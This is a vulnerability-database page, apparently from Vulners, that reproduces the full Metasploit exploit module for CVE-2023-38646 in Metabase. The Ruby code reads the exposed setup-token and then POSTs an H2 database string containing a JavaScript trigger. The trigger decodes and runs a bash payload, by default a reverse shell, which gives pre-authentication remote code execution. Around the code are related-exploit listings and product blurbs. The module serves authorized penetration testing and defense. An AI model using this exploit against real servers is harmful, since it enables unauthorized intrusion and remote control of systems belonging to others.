Lucene search
K

Metabase Setup Token RCE

🗓️ 09 Aug 2023 19:50:25Reported by h00die, Maxwell Garrett, Shubham ShahType 
metasploit
 metasploit
🔗 www.rapid7.com👁 856 Views

Metabase Setup Token allows remote code execution through H2 database string with a trigger for code executio

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2023-38646
22 Feb 202402:55
githubexploit
GithubExploit
Exploit for CVE-2023-38646
31 Jul 202311:18
githubexploit
GithubExploit
Exploit for CVE-2023-38646
26 Nov 202419:05
githubexploit
GithubExploit
Exploit for CVE-2023-38646
17 Oct 202307:43
githubexploit
GithubExploit
Exploit for CVE-2023-38646
9 Aug 202314:05
githubexploit
GithubExploit
Exploit for CVE-2023-38646
22 Nov 202404:15
githubexploit
GithubExploit
Exploit for CVE-2023-38646
14 Oct 202315:56
githubexploit
GithubExploit
Exploit for CVE-2023-38646
29 Jul 202313:07
githubexploit
GithubExploit
Exploit for CVE-2023-38646
2 Aug 202313:21
githubexploit
GithubExploit
Exploit for CVE-2023-38646
7 Nov 202303:57
githubexploit
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Metabase Setup Token RCE',
        'Description' => %q{
          Metabase versions before 0.46.6.1 contain a flaw where the secret setup-token
          is accessible even after the setup process has been completed. With this token
          a user is able to submit the setup functionality to create a new database.
          When creating a new database, an H2 database string is created with a TRIGGER
          that allows for code execution. We use a sample database for our connection
          string to prevent corrupting real databases.

          Successfully tested against Metabase 0.46.6, 0.44.4, 0.42.1.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Maxwell Garrett', # original PoC, analysis
          'Shubham Shah' # original PoC, analysis
        ],
        'References' => [
          ['URL', 'https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/'],
          ['URL', 'https://www.metabase.com/blog/security-advisory'],
          ['CVE', '2023-38646']
        ],
        'Platform' => ['unix'],
        'Privileged' => false,
        'Arch' => ARCH_CMD,
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/unix/reverse_bash'
          # for docker payload/cmd/unix/reverse_netcat also works, but no perl/python
        },
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DisclosureDate' => '2023-07-22',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(3000),
        OptString.new('TARGETURI', [ true, 'The URI of the Metabase Application', '/'])
      ]
    )
  end

  def get_bootstrap_json_blob_from_html_resp(res)
    metabase_bootstrap = res.get_html_document.xpath('//script[@id="_metabaseBootstrap"]').text
    begin
      JSON.parse(metabase_bootstrap)
    rescue JSON::ParserError, TypeError
      print_bad('Unable to parse JSON blob')
      nil
    end
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET'
    )

    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

    json = get_bootstrap_json_blob_from_html_resp(res)
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response, unable to load JSON blob") if json.nil?
    version = json.dig('version', 'tag')
    return CheckCode::Unknown("#{peer} - Unable to determine version from JSON blob") if version.nil?

    # typically v0.46.6
    version = version.gsub('v', '')

    if Rex::Version.new(version) < Rex::Version.new('0.46.6.1')
      return CheckCode::Appears("Version Detected: #{version}")
    end

    CheckCode::Safe("Version not vulnerable: #{version}")
  end

  def exploit
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET'
    )
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200
    json = get_bootstrap_json_blob_from_html_resp(res)
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response, unable to load JSON blob") if json.nil?
    setup_token = json['setup-token']
    if setup_token.nil?
      print_status('Setup token is nil, checking secondary location')
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'api', 'session', 'properties'),
        'method' => 'GET'
      )
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200
      json = res.get_json_document
      setup_token = json['setup-token']
    end

    fail_with(Failure::UnexpectedReply, "#{peer} - Unable to find valid setup-token") if setup_token.nil?
    print_good("Found setup token: #{setup_token}")

    print_status('Sending exploit (may take a few seconds)')
    # our base64ed payload can't have = in it, so we'll pad out with spaces to remove them
    b64_pe = ::Base64.strict_encode64(payload.encoded)
    equals_count = b64_pe.count('=')
    if equals_count > 0
      b64_pe = ::Base64.strict_encode64(payload.encoded + ' ' * equals_count)
    end

    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api', 'setup', 'validate'),
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => {
        'token' => setup_token,
        'details' =>
          {
            # 'is_on_demand' => false, # without this, the shell takes ~20 sec longer to get
            # 'is_full_sync' => false,
            # 'is_sample' => false,
            # 'cache_ttl' => nil,
            # 'refingerprint' => false,
            # 'auto_run_queries' => true,
            # 'schedules' => {},
            'details' =>
              {
                'db' => "zip:/app/metabase.jar!/sample-database.db;TRACE_LEVEL_SYSTEM_OUT=0\\;CREATE TRIGGER #{Rex::Text.rand_text_alpha_upper(6..12)} BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,#{b64_pe}}|{base64,-d}|{bash,-i}')\n$$--=x",
                'advanced-options' => false,
                'ssl' => true
              },
            'name' => Rex::Text.rand_text_alphanumeric(6..12),
            'engine' => 'h2'
          }
      }.to_json
    )
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jun 2026 19:01Current
9.8High risk
Vulners AI Score9.8
CVSS 3.19.8
EPSS0.94255
856